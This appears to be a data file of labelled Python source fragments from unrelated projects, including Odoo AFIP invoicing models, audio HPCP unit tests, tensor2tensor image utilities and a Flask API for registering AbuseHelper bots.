'point_of_sale_id', 'Journals', ) document_sequence_type = fields.Selection( [('own_sequence', 'Own Sequence'), ('same_sequence', 'Same Invoice Sequence')], string='Document Sequence Type', default='own_sequence', required=True, help=""Use own sequence or invoice sequence on Debit and Credit Notes?"" ) journal_document_class_ids = fields.One2many( 'account.journal.afip_document_class', compute='get_journal_document_class_ids', string='Documents Classes', ) @api.one @api.depends('type', 'sufix', 'prefix', 'number') def get_name(self): # TODO mejorar esto y que tome el lable traducido del selection if self.type == 'manual': name = 'Manual' elif self.type == 'preprinted': name = 'Preimpresa' elif self.type == 'online': name = 'Online' elif self.type == 'electronic': name = 'Electronica' if self.prefix: name = '%s %s' % (self.prefix, name) if self.sufix: name = '%s %s' % (name, self.sufix) name = '%04d - %s' % (self.number, name) self.name = name @api.one @api.depends('journal_ids.journal_document_class_ids') def get_journal_document_class_ids(self): journal_document_class_ids = self.env[ 'account.journal.afip_document_class'].search([ ('journal_id.point_of_sale_id', '=', self.id)]) self.journal_document_class_ids = journal_document_class_ids _sql_constraints = [('number_unique', 'unique(number, company_id)', 'Number Must be Unique per Company!'), ] class afip_document_class(models.Model): _name = 'afip.document_class' _description = 'Afip Document Class' name = fields.Char( 'Name', size=120) doc_code_prefix = fields.Char( 'Document Code Prefix', help=""Prefix for Documents Codes on Invoices \ and Account Moves. For eg. 'FA ' will build 'FA 0001-0000001' Document Number"") afip_code = fields.Integer( 'AFIP Code', required=True) document_letter_id = fields.Many2one( 'afip.document_letter', 'Document Letter') report_name = fields.Char( 'Name on Reports', help='Name that will be printed in reports, for example ""CREDIT NOTE""') document_type = fields.Selection([ ('invoice', 'Invoices'), ('credit_note', 'Credit Notes'), ('debit_note', 'Debit Notes'), ('receipt', 'Receipt'), ('ticket', 'Ticket'), ('in_document', 'In Document'), ('other_document', 'Other Documents') ], string='Document Type', help='It defines some behaviours on automatic journal selection and\ in menus where it is shown.') active = fields.Boolean( 'Active', default=True) class afip_document_letter(models.Model): _name = 'afip.document_letter' _description = 'Afip Document letter' name = fields.Char( 'Name', size=64, required=True) afip_document_class_ids = fields.One2many( 'afip.document_class', 'document_letter_id', 'Afip Document Classes') issuer_ids = fields.Many2many( 'afip.responsability', 'afip_doc_letter_issuer_rel', 'letter_id', 'responsability_id', 'Issuers',) receptor_ids = fields.Many2many( 'afip.responsability', 'afip_doc_letter_receptor_rel', 'letter_id', 'responsability_id', 'Receptors',) active = fields.Boolean( 'Active', default=True) vat_discriminated = fields.Boolean( 'Vat Discriminated on Invoices?', help=""If True, the vat will be discriminated on invoice report."") _sql_constraints = [('name', 'unique(name)', 'Name must be unique!'), ] class afip_responsability(models.Model): _name = 'afip.responsability' _description = 'AFIP VAT Responsability' name = fields.Char( 'Name', size=64, required=True) code = fields.Char( 'Code', size=8, required=True) active = fields.Boolean( 'Active', default=True) issued_letter_ids = fields.Many2many( 'afip.document_letter', 'afip_doc_letter_issuer_rel', 'responsability_id', 'letter_id', 'Issued Document Letters') received_letter_ids = fields.Many2many( 'afip.document_letter', 'afip_doc_letter_receptor_rel', 'responsability_id', 'letter_id', 'Received Document Letters') vat_tax_required_on_sales_invoices = fields.Boolean( 'VAT Tax Required on Sales Invoices?', help='If True, then a vay tax is mandatory on each sale invoice for companies of this responsability', ) _sql_constraints = [('name', 'unique(name)', 'Name must be unique!'), ('code', 'unique(code)', 'Code must be unique!')] class afip_document_type(models.Model): _name = 'afip.document_type' _description = 'AFIP document types' name = fields.Char( 'Name', size=120, required=True) code = fields.Char( 'Code', size=16, required=True) afip_code = fields.Integer( 'AFIP Code', required=True) active = fields.Boolean( 'Active', default=True) ",1 "es -- see example This ndarray subclass enables comparing sub_id and hop_id arrays directly with their friendly string identifiers. The mapping parameter translates sublattice or hopping names into their number IDs. Only the `==` and `!=` operators are overloaded to handle the aliases. Examples -------- >>> a = AliasArray([0, 1, 0], mapping={""A"": 0, ""B"": 1}) >>> list(a == 0) [True, False, True] >>> list(a == ""A"") [True, False, True] >>> list(a != ""A"") [False, True, False] >>> a = AliasArray([0, 1, 0, 2], mapping={""A|1"": 0, ""B"": 1, ""A|2"": 2}) >>> list(a == ""A"") [True, False, True, True] >>> list(a != ""A"") [False, True, False, False] """""" def __new__(cls, array, mapping): obj = np.asarray(array).view(cls) obj.mapping = {SplitName(k): v for k, v in mapping.items()} return obj def __array_finalize__(self, obj): if obj is None: return self.mapping = getattr(obj, ""mapping"", None) def _mapped_eq(self, other): if other in self.mapping: return super().__eq__(self.mapping[other]) else: result = np.zeros(len(self), dtype=np.bool) for k, v in self.mapping.items(): if k == other: result = np.logical_or(result, super().__eq__(v)) return result def __eq__(self, other): if isinstance(other, str): return self._mapped_eq(other) else: return super().__eq__(other) def __ne__(self, other): if isinstance(other, str): return np.logical_not(self._mapped_eq(other)) else: return super().__ne__(other) # noinspection PyAbstractClass class AliasCSRMatrix(csr_matrix): """"""Same as :class:`AliasArray` but for a CSR matrix Examples -------- >>> from scipy.sparse import spdiags >>> m = AliasCSRMatrix(spdiags([1, 2, 1], [0], 3, 3), mapping={'A': 1, 'B': 2}) >>> list(m.data == 'A') [True, False, True] >>> list(m.tocoo().data == 'A') [True, False, True] >>> list(m[:2].data == 'A') [True, False] """""" def __init__(self, *args, **kwargs): mapping = kwargs.pop('mapping', {}) if not mapping: mapping = getattr(args[0], 'mapping', {}) super().__init__(*args, **kwargs) self.data = AliasArray(self.data, mapping) @property def format(self): return 'csr' @format.setter def format(self, _): pass @property def mapping(self): return self.data.mapping def tocoo(self, *args, **kwargs): coo = super().tocoo(*args, **kwargs) coo.data = AliasArray(coo.data, mapping=self.mapping) return coo def __getitem__(self, item): result = super().__getitem__(item) if getattr(result, 'format', '') == 'csr': return AliasCSRMatrix(result, mapping=self.mapping) else: return result class AliasIndex: """"""An all-or-nothing array index based on equality with a specific value The `==` and `!=` operators are overloaded to return a lazy array which is either all `True` or all `False`. See the examples below. This is useful for modifiers where the each call gets arrays with the same sub_id/hop_id for all elements. Instead of passing an `AliasArray` with `.size` identical element, `AliasIndex` does the same all-or-nothing indexing. Examples -------- >>> l = np.array([1, 2, 3]) >>> ai = AliasIndex(""A"", len(l)) >>> list(l[ai == ""A""]) [1, 2, 3] >>> list(l[ai == ""B""]) [] >>> list(l[ai != ""A""]) [] >>> list(l[ai != ""B""]) [1, 2, 3] >>> np.logical_and([True, False, True], ai == ""A"") array([ True, False, True], dtype=bool) >>> np.logical_and([True, False, True], ai != ""A"") array([False, False, False], dtype=bool) >>> bool(ai == ""A"") True >>> bool(ai != ""A"") False >>> str(ai) 'A' >>> hash(ai) == hash(""A"") True >>> int(ai.eye) 1 >>> np.allclose(AliasIndex(""A"", 1, (2, 2)).eye, np.eye(2)) True """""" class LazyArray: def __init__(self, value, shape): self.value = value self.shape = shape def __bool__(self): return bool(self.value) def __array__(self): return np.full(self.shape, self.value) def __init__(self, name, shape, orbs=(1, 1)): self.name = name self.shape = shape self.orbs = orbs def __str__(self): return self.name def __eq__(self, other): return self.LazyArray(self.name == other, self.shape) def __ne__(self, other): return self.LazyArray(self.name != other, self.shape) def __hash__(self): return hash(self.name) @property def eye(self): return np.eye(*self.orbs) class SplitName(str): """"""String subclass with special support for strings of the form ""first|second"" Operators `==` and `!=` are overloaded to return `True` even if only the first part matches. Examples -------- >>> s = SplitName(""first|second"") >>> s == ""first|second"" True >>> s != ""first|second"" False >>> s == ""first"" True >>> s != ""first"" False >>> s == ""second"" False >>> s != ""second"" True """""" @property def first(self): return self.split(""|"")[0] def __eq__(self, other): return super().__eq__(other) or self.first == other def __ne__(self, other): return super().__ne__(other) and self.first != other def __hash__(self): return super().__hash__() ",1 "ia is free software: you can redistribute it and/or modify it under # the terms of the GNU Affero General Public License as published by the Free # Software Foundation (FSF), either version 3 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # You should have received a copy of the Affero GNU General Public License # version 3 along with this program. If not, see http://www.gnu.org/licenses/ from essentia_test import * class TestHPCP(TestCase): def testEmpty(self): hpcp = HPCP()([], []) self.assertEqualVector(hpcp, [0.]*12) def testZeros(self): hpcp = HPCP()([0]*10, [0]*10) self.assertEqualVector(hpcp, [0.]*12) def testSin440(self): # Tests whether a real audio signal of one pure tone gets read as a # single semitone activation, and gets read into the right pcp bin sampleRate = 44100 audio = MonoLoader(filename = join(testdata.audio_dir, 'generated/synthesised/sin440_0db.wav'), sampleRate = sampleRate)() speaks = SpectralPeaks(sampleRate = sampleRate, maxPeaks = 1, maxFrequency = sampleRate/2, minFrequency = 0, magnitudeThreshold = 0, orderBy = 'magnitude') (freqs, mags) = speaks(Spectrum()(audio)) hpcp = HPCP()(freqs, mags) self.assertEqualVector(hpcp, [1.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.]) def testAllSemitones(self): # Tests whether a spectral peak output of 12 consecutive semitones # yields a HPCP of all 1's tonic = 440 freqs = [(tonic * 2**(x/12.)) for x in range(12)] mags = [1] * 12 hpcp = HPCP()(freqs, mags) self.assertEqualVector(hpcp, [1.,1.,1.,1.,1.,1.,1.,1.,1.,1.,1.,1.]) def testSubmediantPosition(self): # Make sure that the submediant of a key based on 440 is in the # correct location (submediant was randomly selected from all the # tones) tonic = 440 submediant = tonic * 2**(9./12.) hpcp = HPCP()([submediant], [1]) self.assertEqualVector(hpcp, [0.,0.,0.,0.,0.,0.,0.,0.,0.,1.,0.,0.]) def testMaxShifted(self): # Tests whether a HPCP reading with only the dominant semitone # activated is correctly shifted so that the dominant is at the # position 0 tonic = 440 dominant = tonic * 2**(7./12.) hpcp = HPCP(maxShifted=True)([dominant], [1]) self.assertEqualVector(hpcp, [1.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.]) def chordHelper(self, half_steps, tunning, strength): notes = [tunning*(2.**(half_steps[i]/12.)) for i in range(len(half_steps))] hpcp = HPCP(maxShifted=False)([notes[0], notes[1], notes[2]], strength) for i in range(len(hpcp)): if i in half_steps: self.assertTrue(hpcp[i]>0) elif (i - 12) in half_steps: self.assertTrue(hpcp[i]>0) else: self.assertEqual(hpcp[i], 0) def testChord(self): tunning = 440 AMajor = [0, 4, 7] # AMajor = A4-C#5-E5 self.chordHelper(AMajor, tunning, [1,1,1]) CMajor = [3, -4, -2] # CMajor = C5-F4-G4 self.chordHelper(CMajor, tunning, [1,1,1]) CMajor = [-4, 3, -2] # CMajor = C5-F4-G4 self.chordHelper(CMajor, tunning, [1,0.5,0.2]) CMajor = [-4, -2, 3] # CMajor = C5-F4-G4 self.chordHelper(CMajor, tunning, [1,0.5,0.2]) CMajor = [3, 8, 10] # CMajor = C5-F5-G5 self.chordHelper(CMajor, tunning, [1,0.5,0.2]) AMinor = [0, 3, 7] # AMinor = A4-C5-E5 self.chordHelper(AMinor, tunning, [1,0.5,0.2]) CMinor = [3, 6, 10] # CMinor = C5-E5-G5 self.chordHelper(CMinor, tunning, [1,0.5,0.2]) # Test of various parameter logical bounds def testLowFrequency(self): hpcp = HPCP(minFrequency=100, maxFrequency=1000)([99], [1]) self.assertEqualVector(hpcp, [0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.]) def testHighFrequency(self): hpcp = HPCP(minFrequency=100, maxFrequency=1000)([1001], [1]) self.assertEqualVector(hpcp, [0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.,0.]) def testSmallMinRange(self): self.assertConfigureFails(HPCP(), {'minFrequency':1, 'splitFrequency':200}) def testSmallMaxRange(self): self.assertConfigureFails(HPCP(), {'maxFrequency':1199, 'splitFrequency':1000}) def testSmallMinMaxRange(self): self.assertConfigureFails(HPCP(), {'bandPreset':False, 'maxFrequency':200, 'minFrequency':1}) def testSizeNonmultiple12(self): self.assertConfigureFails(HPCP(), {'size':13}) def testHarmonics(self): # Regression test for the 'harmonics' parameter tone = 100. # arbitrary frequency [Hz] freqs = [tone, tone*2, tone*3, tone*4] mags = [1]*4 hpcpAlg = HPCP(minFrequency=50, maxFrequency=500, bandPreset=False, harmonics=3) hpcp = hpcpAlg(freqs, mags) expected = [0., 0., 0., 0.1340538263, 0., 0.2476127148, 0., 0., 0., 0., 1., 0.] self.assertAlmostEqualVector(hpcp, expected, 1e-4) def testRegression(self): # Just makes sure algorithm does not crash on a real data source. This # test is not really looking for correctness. Maybe consider revising # it. inputSize = 512 sampleRate = 44100 audio = MonoLoader(filename = join(testdata.audio_dir, join('recorded', 'musicbox.wav')), sampleRate = sampleRate)() fc = FrameCutter(frameSize = inputSize, hopSize = inputSize) windowingAlg = Windowing(type = 'blackmanharris62') specAlg = Spectrum(size=inputSize) sPeaksAlg = SpectralPeaks(sampleRate = sampleRate, maxFrequency = sampleRate/2, minFrequency = 0, orderBy = 'magnitude') hpcpAlg = HPCP(minFrequency=50, maxFrequency=500, bandPreset=False, harmonics=3) frame = fc(audio) while len(frame) != 0: spectrum = specAlg(windowingAlg(frame)) (freqs, mags) = sPeaksAlg(spectrum) hpcp = hpcpAlg(freqs,mags) self.assertTrue(not any(numpy.isnan(hpcp))) self.assertTrue(not any(numpy.isinf(hpcp))) frame = fc(audio) suite = allTests(TestHPCP) if __name__ == '__main__': TextTestRunner(verbosity=2).run(suite) ",1 ". # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class ConnectivitySource(Model): """"""Parameters that define the source of the connection. All required parameters must be populated in order to send to Azure. :param resource_id: Required. The ID of the resource from which a connectivity check will be initiated. :type resource_id: str :param port: The source port from which a connectivity check will be performed. :type port: int """""" _validation = { 'resource_id': {'required': True}, } _attribute_map = { 'resource_id': {'key': 'resourceId', 'type': 'str'}, 'port': {'key': 'port', 'type': 'int'}, } def __init__(self, *, resource_id: str, port: int=None, **kwargs) -> None: super(ConnectivitySource, self).__init__(**kwargs) self.resource_id = resource_id self.port = port ",1 "tch(self): img = np.arange(16).reshape(1, 4, 4, 1) patch = img2patch(img, size=3, step=1) expected = np.asarray([ [img[0, 0:3, 0:3, 0], img[0, 0:3, 1:4, 0]], [img[0, 1:4, 0:3, 0], img[0, 1:4, 1:4, 0]] ]) expected = expected[None, ..., None] self.assertTrue((patch == expected).all()) imgs = [ np.random.randn(2, 5, 6, 3), np.random.randn(3, 10, 10, 2), np.random.randn(1, 23, 17, 5) ] sizes = [ (1, 1), 2, (3, 4) ] steps = [ (1, 2), (3, 1), 3 ] shapes = [ (2, 5, 3, 1, 1, 3), (3, 3, 9, 2, 2, 2), (1, 7, 5, 3, 4, 5) ] for img, size, step, shape in zip(imgs, sizes, steps, shapes): self.assertEqual(shape, img2patch(img, size, step).shape) class TestPatch2Img(unittest.TestCase): def test_patch2img(self): img = np.arange(16).reshape(1, 4, 4, 1) patch = img2patch(img, size=2, step=2) self.assertTrue((img == patch2img(patch, (2, 2), (1, 4, 4, 1))).all()) patch = img2patch(img, size=3, step=1) expected = np.arange(0, 32, 2).reshape(1, 4, 4, 1) expected[0, 0, 0, 0] /= 2 expected[0, 0, -1, 0] /= 2 expected[0, -1, 0, 0] /= 2 expected[0, -1, -1, 0] /= 2 expected[0, 1:3, 1:3, 0] *= 2 self.assertTrue((expected == patch2img(patch, (1, 1), (1, 4, 4, 1))).all()) if __name__ == '__main__': unittest.main() ",1 "file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""Base classes and utilities for image datasets."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import io import os import numpy as np from tensor2tensor.data_generators import generator_utils from tensor2tensor.data_generators import problem from tensor2tensor.data_generators import text_encoder from tensor2tensor.layers import common_layers from tensor2tensor.layers import modalities from tensor2tensor.utils import contrib from tensor2tensor.utils import metrics import tensorflow.compat.v1 as tf def matplotlib_pyplot(): import matplotlib # pylint: disable=g-import-not-at-top matplotlib.use(""agg"") import matplotlib.pyplot as plt # pylint: disable=g-import-not-at-top return plt def image_to_tf_summary_value(image, tag): """"""Converts a NumPy image to a tf.Summary.Value object. Args: image: 3-D NumPy array. tag: name for tf.Summary.Value for display in tensorboard. Returns: image_summary: A tf.Summary.Value object. """""" curr_image = np.asarray(image, dtype=np.uint8) height, width, n_channels = curr_image.shape # If monochrome image, then reshape to [height, width] if n_channels == 1: curr_image = np.reshape(curr_image, [height, width]) s = io.BytesIO() matplotlib_pyplot().imsave(s, curr_image, format=""png"") img_sum = tf.Summary.Image(encoded_image_string=s.getvalue(), height=height, width=width, colorspace=n_channels) return tf.Summary.Value(tag=tag, image=img_sum) def convert_predictions_to_image_summaries(hook_args): """"""Optionally converts images from hooks_args to image summaries. Args: hook_args: DecodeHookArgs namedtuple Returns: summaries: list of tf.Summary values if hook_args.decode_hpara """""" decode_hparams = hook_args.decode_hparams if not decode_hparams.display_decoded_images: return [] predictions = hook_args.predictions[0] # Display ten random inputs and outputs so that tensorboard does not hang. all_summaries = [] rand_predictions = np.random.choice(predictions, size=10) for ind, prediction in enumerate(rand_predictions): output_summary = image_to_tf_summary_value( prediction[""outputs""], tag=""%d_output"" % ind) input_summary = image_to_tf_summary_value( prediction[""inputs""], tag=""%d_input"" % ind) all_summaries.append(input_summary) all_summaries.append(output_summary) return all_summaries def resize_by_area(img, size): """"""image resize function used by quite a few image problems."""""" return tf.to_int64( tf.image.resize_images(img, [size, size], tf.image.ResizeMethod.AREA)) def make_multiscale(image, resolutions, resize_method=tf.image.ResizeMethod.BICUBIC, num_channels=3): """"""Returns list of scaled images, one for each resolution. Args: image: Tensor of shape [height, height, num_channels]. resolutions: List of heights that image's height is resized to. resize_method: tf.image.ResizeMethod. num_channels: Number of channels in image. Returns: List of Tensors, one for each resolution with shape given by [resolutions[i], resolutions[i], num_channels]. """""" scaled_images = [] for height in resolutions: scaled_image = tf.image.resize_images( image, size=[height, height], # assuming that height = width method=resize_method) scaled_image = tf.to_int64(scaled_image) scaled_image.set_shape([height, height, num_channels]) scaled_images.append(scaled_image) return scaled_images def make_multiscale_dilated(image, resolutions, num_channels=3): """"""Returns list of scaled images, one for each resolution. Resizes by skipping every nth pixel. Args: image: Tensor of shape [height, height, num_channels]. resolutions: List of heights that image's height is resized to. The function assumes VALID padding, so the original image's height must be divisible by each resolution's height to return the exact resolution size. num_channels: Number of channels in image. Returns: List of Tensors, one for each resolution with shape given by [resolutions[i], resolutions[i], num_channels] if resolutions properly divide the original image's height; otherwise shape height and width is up to valid skips. """""" image_height = common_layers.shape_list(image)[0] scaled_images = [] for height in resolutions: dilation_rate = image_height // height # assuming height = width scaled_image = image[::dilation_rate, ::dilation_rate] scaled_image = tf.to_int64(scaled_image) scaled_image.set_shape([None, None, num_channels]) scaled_images.append(scaled_image) return scaled_images class ImageProblem(problem.Problem): """"""Base class for problems with images."""""" @property def num_channels(self): """"""Number of color channels."""""" return 3 @property def vocab_size(self): """"""Number of pixel values."""""" return 256 def example_reading_spec(self): data_fields = { ""image/encoded"": tf.FixedLenFeature((), tf.string), ""image/format"": tf.FixedLenFeature((), tf.string), } data_items_to_decoders = { ""inputs"": contrib.slim().tfexample_decoder.Image( image_key=""image/encoded"", format_key=""image/format"", channels=self.num_channels), } return data_fields, data_items_to_decoders def preprocess_example(self, example, mode, hparams): if not self._was_reversed: example[""inputs""] = tf.image.per_image_standardization(example[""inputs""]) return example def eval_metrics(self): eval_metrics = [ metrics.Metrics.ACC, metrics.Metrics.ACC_TOP5, metrics.Metrics.ACC_PER_SEQ, metrics.Metrics.NEG_LOG_PERPLEXITY ] if self._was_reversed: eval_metrics += [metrics.Metrics.IMAGE_SUMMARY] return eval_metrics @property def decode_hooks(self): return [convert_predictions_to_image_summaries] class Image2ClassProblem(ImageProblem): """"""Base class for image classification problems."""""" @property def is_small(self): raise NotImplementedError() @property def num_classes(self): raise NotImplementedError() @property def train_shards(self): raise NotImplementedError() @property def dev_shards(self): return 1 @property def class_labels(self): return [""ID_%d"" % i for i in range(self.num_classes)] def feature_encoders(self, data_dir): del data_dir return { ""inputs"": text_encoder.ImageEncoder(channels=self.num_channels), ""targets"": text_encoder.ClassLabelEncoder(self.class_labels) } def generator(self, data_dir, tmp_dir, is_training): raise NotImplementedError() def example_reading_spec(self): label_key = ""image/class/label"" data_fields, data_items_to_decoders = ( super(Image2ClassProblem, self).example_reading_spec()) data_fields[label_key] = tf.FixedLenFeature((1,), tf.int64) data_items_to_decoders[""targets""] = contrib.slim().tfexample_decoder.Tensor( label_key) return data_fields, data_items_to_decoders def hparams(self, defaults, unused_model_hparams): p = defaults p.modality = {""inputs"": modalities.ModalityType.IMAGE, ""targets"": modalities.ModalityType.CLASS_LABEL} p.vocab_size = {""inputs"": 256, ""targets"": self.num_classes} p.batch_size_multiplier = 4 if self.is_small else 256 p.loss_multiplier = 3.0 if self.is_small else 1.0 if self._was_reversed: p.loss_multiplier = 1.0 p.input_space_id = problem.SpaceID.IMAGE p.target_space_id = problem.SpaceID.IMAGE_LABEL def generate_data(self, data_dir, tmp_dir, task_id=-1): generator_utils.generate_dataset_and_shuffle( self.generator(data_dir, tmp_dir, True), self.training_filepaths(data_dir, self.train_shards, shuffled=False), self.generator(data_dir, tmp_dir, False), self.dev_filepaths(data_dir, self.dev_shards, shuffled=False)) def encode_images_as_png(images): """"""Yield images encoded as pngs."""""" if tf.executing_eagerly(): for image in images: yield tf.image.encode_png(image).numpy() else: (height, width, channels) = images[0].shape with tf.Graph().as_default(): image_t = tf.placeholder(dtype=tf.uint8, shape=(height, width, channels)) encoded_image_t = tf.image.encode_png(image_t) with tf.Session() as sess: for image in images: enc_string = sess.run(encoded_image_t, feed_dict={image_t: image}) yield enc_string def image_generator(images, labels): """"""Generator for images that takes image and labels lists and creates pngs. Args: images: list of images given as [width x height x channels] numpy arrays. labels: list of ints, same length as images. Yields: A dictionary representing the images with the following fields: * image/encoded: the string encoding the image as PNG, * image/format: the string ""png"" representing image format, * image/class/label: an integer representing the label, * image/height: an integer representing the height, * image/width: an integer representing the width. Every field is actually a singleton list of the corresponding type. Raises: ValueError: if images is an empty list. """""" if not images: raise ValueError(""Must provide some images for the generator."") width, height, _ = images[0].shape for (enc_image, label) in zip(encode_images_as_png(images), labels): yield { ""image/encoded"": [enc_image], ""image/format"": [""png""], ""image/class/label"": [int(label)], ""image/height"": [height], ""image/width"": [width] } class Image2TextProblem(ImageProblem): """"""Base class for image-to-text problems."""""" @property def is_character_level(self): raise NotImplementedError() @property def vocab_problem(self): raise NotImplementedError() # Not needed if self.is_character_level. @property def target_space_id(self): raise NotImplementedError() @property def train_shards(self): raise NotImplementedError() @property def dev_shards(self): raise NotImplementedError() def generator(self, data_dir, tmp_dir, is_training): raise NotImplementedError() def example_reading_spec(self): label_key = ""image/class/label"" data_fields, data_items_to_decoders = ( super(Image2TextProblem, self).example_reading_spec()) data_fields[label_key] = tf.VarLenFeature(tf.int64) data_items_to_decoders[""targets""] = contrib.slim().tfexample_decoder.Tensor( label_key) return data_fields, data_items_to_decoders def feature_encoders(self, data_dir): if self.is_character_level: encoder = text_encoder.ByteTextEncoder() else: vocab_filename = os.path.join( data_dir, self.vocab_problem.vocab_filename) encoder = text_encoder.SubwordTextEncoder(vocab_filename) input_encoder = text_encoder.ImageEncoder(channels=self.num_channels) return {""inputs"": input_encoder, ""targets"": encoder} def hparams(self, defaults, unused_model_hparams): p = defaults p.modality = {""inputs"": modalities.ModalityType.IMAGE, ""targets"": modalities.ModalityType.SYMBOL} p.vocab_size = {""inputs"": 256, ""targets"": self._encoders[""targets""].vocab_size} p.batch_size_multiplier = 256 p.loss_multiplier = 1.0 p.input_space_id = problem.SpaceID.IMAGE p.target_space_id = self.target_space_id def generate_data(self, data_dir, tmp_dir, task_id=-1): generator_utils.generate_dataset_and_shuffle( self.generator(data_dir, tmp_dir, True), self.training_filepaths(data_dir, self.train_shards, shuffled=False), self.generator(data_dir, tmp_dir, False), self.dev_filepaths(data_dir, self.dev_shards, shuffled=False)) def image_augmentation(images, do_colors=False, crop_size=None): """"""Image augmentation: cropping, flipping, and color transforms."""""" if crop_size is None: crop_size = [299, 299] images = tf.random_crop(images, crop_size + [3]) images = tf.image.random_flip_left_right(images) if do_colors: # More augmentation, but might be slow. images = tf.image.random_brightness(images, max_delta=32. / 255.) images = tf.image.random_saturation(images, lower=0.5, upper=1.5) images = tf.image.random_hue(images, max_delta=0.2) images = tf.image.random_contrast(images, lower=0.5, upper=1.5) return images def cifar_image_augmentation(images): """"""Image augmentation suitable for CIFAR-10/100. As described in https://arxiv.org/pdf/1608.06993v3.pdf (page 5). Args: images: a Tensor. Returns: Tensor of the same shape as images. """""" images = tf.image.resize_image_with_crop_or_pad(images, 40, 40) images = tf.random_crop(images, [32, 32, 3]) images = tf.image.random_flip_left_right(images) return images def random_shift(image, wsr=0.1, hsr=0.1): """"""Apply random horizontal and vertical shift to images. This is the default data-augmentation strategy used on CIFAR in Glow. Args: image: a 3-D Tensor wsr: Width shift range, as a float fraction of the width. hsr: Height shift range, as a float fraction of the width. Returns: images: images translated by the provided wsr and hsr. """""" height, width, _ = common_layers.shape_list(image) width_range, height_range = wsr*width, hsr*height height_translations = tf.random_uniform((1,), -height_range, height_range) width_translations = tf.random_uniform((1,), -width_range, width_range) translations = tf.concat((height_translations, width_translations), axis=0) return contrib.image().translate(image, translations=translations) ",1 " 3.16681539628059e-6 # This is Boltzmann's constant in Hartree/Kelvin first = 1 nm = 18.8972613 for line in fin: current = str(line) pieces = current.split('\t') if first: r2 = float(pieces[0])/2*nm E2 = float(pieces[1]) first = 0 else: if ((float(pieces[0])/2*nm - r2) > 0.25): r1 = r2 r2 = float(pieces[0])/2*nm E1 = E2 E2 = float(pieces[1]) # actually it's energy per unit length! length = 1 # arbitrary r = (r1 + r2)/2 dEdR = (E2-E1)/(r2-r1)*length area = 2*math.pi*r*length force = dEdR pressure = force/area kT = kB*298 # about this ncontact = pressure/kT fout.write(str(r)+'\t'+str(ncontact)+'\n') fin.close() fout.close() ",1 "tors import json_response from . import api @api.route('/abusehelper', methods=['GET']) @json_response def get_abusehelper(): """"""Return a list of available abusehelper **Example request**: .. sourcecode:: http GET /api/1.0/abusehelper HTTP/1.1 Host: do.cert.europa.eu Accept: application/json **Example response**: .. sourcecode:: http HTTP/1.0 200 OK Content-Type: application/json { ""abusehelper"": [ { ""name"": ""ShadowServerBot"", ""url"": ""http://sample.com/path.html"", ""id"": 1 } ] } :reqheader Accept: Content type(s) accepted by the client :resheader Content-Type: this depends on `Accept` header or request :>json array abusehelper: List of available bots :>jsonobj integer id: Bot ID :>jsonobj integer name: Bot name :status 200: Deliverable endpoint found, response may be empty :status 404: Not found """""" bots = Bot.query.filter().all() return {'abusehelper': [a.serialize() for a in bots]} @api.route('/abusehelper/', methods=['GET']) @json_response def get_got(bot_id): """"""Get bot from database **Example request**: .. sourcecode:: http GET /api/1.0/abusehelper/1 HTTP/1.1 Host: do.cert.europa.eu Accept: application/json **Example response**: .. sourcecode:: http HTTP/1.0 200 OK Content-Type: application/json { ""name"": ""ShadowServerBot"", ""url"": ""http://sample.com/path.html"", ""id"": 1 } :param bot_id: Bot unique ID :reqheader Accept: Content type(s) accepted by the client :resheader Content-Type: this depends on `Accept` header or request :>json integer id: Bot unique ID :>json integer name: Bot name :status 200: ASN found :status 404: Resource not found """""" a = Bot.query.get_or_404(bot_id) return a.serialize() @api.route('/abusehelper', methods=['POST', 'PUT']) @validate('abusehelper', 'add_bot') @json_response def add_bot(): """"""Add new bot entry **Example request**: .. sourcecode:: http POST /api/1.0/abusehelper HTTP/1.1 Host: do.cert.europa.eu Accept: application/json Content-Type: application/json { ""name"": ""ShadowServerBot"", ""url"": ""http://sample.com/path.html"" } **Example response**: .. sourcecode:: http HTTP/1.0 201 CREATED Content-Type: application/json { ""bot"": { ""name"": ""ShadowServerBot"", ""url"": ""http://sample.com/path.html"", ""id"": 1 }, 'message': ""Bot added"" } :reqheader Accept: Content type(s) accepted by the client :resheader Content-Type: this depends on `Accept` header or request :jsonobj integer id: Unique ID of new bot :>jsonobj integer name: bot name :>json string message: Status message :status 201: ASN successfully saved :status 400: Bad request """""" a = Bot.fromdict(request.json) db.session.add(a) db.session.commit() return {'bot': a.serialize(), 'message': 'Bot added'}, 201, \ {'Location': url_for('api.get_bot', bot_id=a.id)} @api.route('/abusehelper/', methods=['PUT']) @validate('abusehelper', 'update_bot') @json_response def update_bot(bot_id): return NotImplemented @api.route('/abusehelper/', methods=['DELETE']) @json_response def delete_bot(bot_id): """"""Delete bot **Example request**: .. sourcecode:: http DELETE /api/1.0/abusehelper/1 HTTP/1.1 Host: do.cert.europa.eu Accept: application/json **Example response**: .. sourcecode:: http HTTP/1.0 200 OK Content-Type: application/json { ""message"": ""Bot deleted"" } :param bot_id: Bot unique ID. :reqheader Accept: Content type(s) accepted by the client :resheader Content-Type: this depends on `Accept` header or request :>json string message: Action status status :status 200: Bot was deleted :status 404: Bot was not found """""" a = Bot.query.filter_by(id == bot_id).delete() if not a: return {'message': 'No such bot'}, 404 db.session.commit() return {'message': 'Bot deleted'} @api.route('/abusehelper', methods=['DELETE']) @json_response def delete_abusehelper(): """"""Clear abusehelper table **Example request**: .. sourcecode:: http DELETE /api/1.0/abusehelper HTTP/1.1 Host: do.cert.europa.eu Accept: application/json **Example response**: .. sourcecode:: http HTTP/1.0 200 OK Content-Type: application/json { ""message"": ""Bots deleted"" } :reqheader Accept: Content 